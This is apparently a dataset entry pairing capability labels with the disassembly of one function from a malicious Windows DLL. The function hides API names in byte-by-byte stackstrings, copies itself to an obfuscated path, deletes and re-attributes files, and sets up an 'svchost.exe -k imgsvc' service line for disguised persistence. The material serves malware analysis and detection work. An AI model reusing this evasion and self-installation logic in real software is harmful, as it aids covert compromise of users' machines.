Function at 0x1000e3d0
Capabilities:
Check for time delay via gettickcount
Contain obfuscated stackstrings
Delete file
Query environment variable
Set file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x228
mov eax, dword [ebp + 0xc]
push ebx
push esi
cmp eax, 1
push edi
jne 0x1000e654
mov cl, 0x6c
mov al, 0x65
mov byte [ebp - 0xb], cl
mov byte [ebp - 6], cl
mov byte [ebp - 5], cl
mov cl, 0x74
mov byte [ebp - 0xf], al
mov byte [ebp - 0xc], al
mov byte [ebp - 0x1e], al
mov byte [ebp - 0x1b], al
mov byte [ebp - 0x18], al
mov bl, 0x72
mov byte [ebp - 0x1c], cl
mov byte [ebp - 0x16], cl
lea eax, [ebp - 0x20]
lea ecx, [ebp - 0x10]
mov byte [ebp - 0xe], bl
mov dl, 0x6e
mov byte [ebp - 0x1f], bl
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push eax
push ecx
mov byte [ebp - 0x10], 0x6b
mov byte [ebp - 0xd], dl
mov byte [ebp - 0xa], 0x33
mov byte [ebp - 9], 0x32
mov byte [ebp - 8], 0x2e
mov byte [ebp - 7], 0x64
mov byte [ebp - 4], 0
mov byte [ebp - 0x20], 0x43
mov byte [ebp - 0x1d], 0x61
mov byte [ebp - 0x1a], 0x45
mov byte [ebp - 0x19], 0x76
mov byte [ebp - 0x17], dl
mov byte [ebp - 0x15], 0x41
mov byte [ebp - 0x14], 0
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0x37a
push str.Djlbnm_MmurvrvqRp
mov dword [ebp + 0xc], eax
call fcn.1000e090
mov esi, dword [sym.imp.MSVCRT.dll_putchar]
push 0x30
call esi
mov edx, dword [ebp + 8]
add esp, 0xc
push 0x104
push 0x1001ae98
push edx
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push 0x30
call esi
mov ecx, 0x40
xor eax, eax
lea edi, [ebp - 0x123]
mov byte [ebp - 0x124], 0
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
add esp, 4
stosb byte es:[edi], al
lea eax, [ebp - 0x124]
push 0x104
push eax
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea edi, [ebp - 0x124]
or ecx, 0xffffffff
xor eax, eax
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov edx, ecx
mov esi, edi
mov edi, str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, edx
and ecx, 3
rep movsb byte es:[edi], byte [esi]
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
push 0x1001ae98
call dword [sym.imp.MSVCRT.dll__stricmp]
add esp, 8
test eax, eax
jne 0x1000e53c
mov eax, dword [ebp + 8]
mov dword [0x1001ad44], eax
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov dword [0x1001ad34], eax
call fcn.10007760
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str.Glable__Wait
push 0
push 0
push 0
call dword [ebp + 0xc]
push eax
call dword [sym.imp.KERNEL32.dll_SetEvent]
call fcn.10006860
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
call fcn.1000cfb0
add esp, 4
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call dword [sym.imp.MSVCRT.dll_srand]
add esp, 4
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
mov ecx, 0xb
mov esi, str._SystemRoot_System32_svchost.exe__k_imgsvc
lea edi, [ebp - 0x228]
xor eax, eax
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x36
lea edi, [ebp - 0x1fc]
rep stosd dword es:[edi], eax
lea ecx, [ebp - 0x228]
push ecx
call fcn.1000d060
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1000d4b0
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1000d710
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push 0x1000
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
call dword [sym.imp.KERNEL32.dll_SetFileAttributesA]
push str.CopyFileA
push str.kernel32.dll
call ebx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push 0
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
push 0x1001ae98
call eax
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
push str._RqmbzdlDjn_p__NljoTSllbjnimn_jlr
call fcn.1000dd20
add esp, 4
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
nop
call fcn.1000d260
call fcn.1000d150
pop edi
pop esi
mov eax, 1
pop ebx
mov esp, ebp
pop ebp
ret 0xc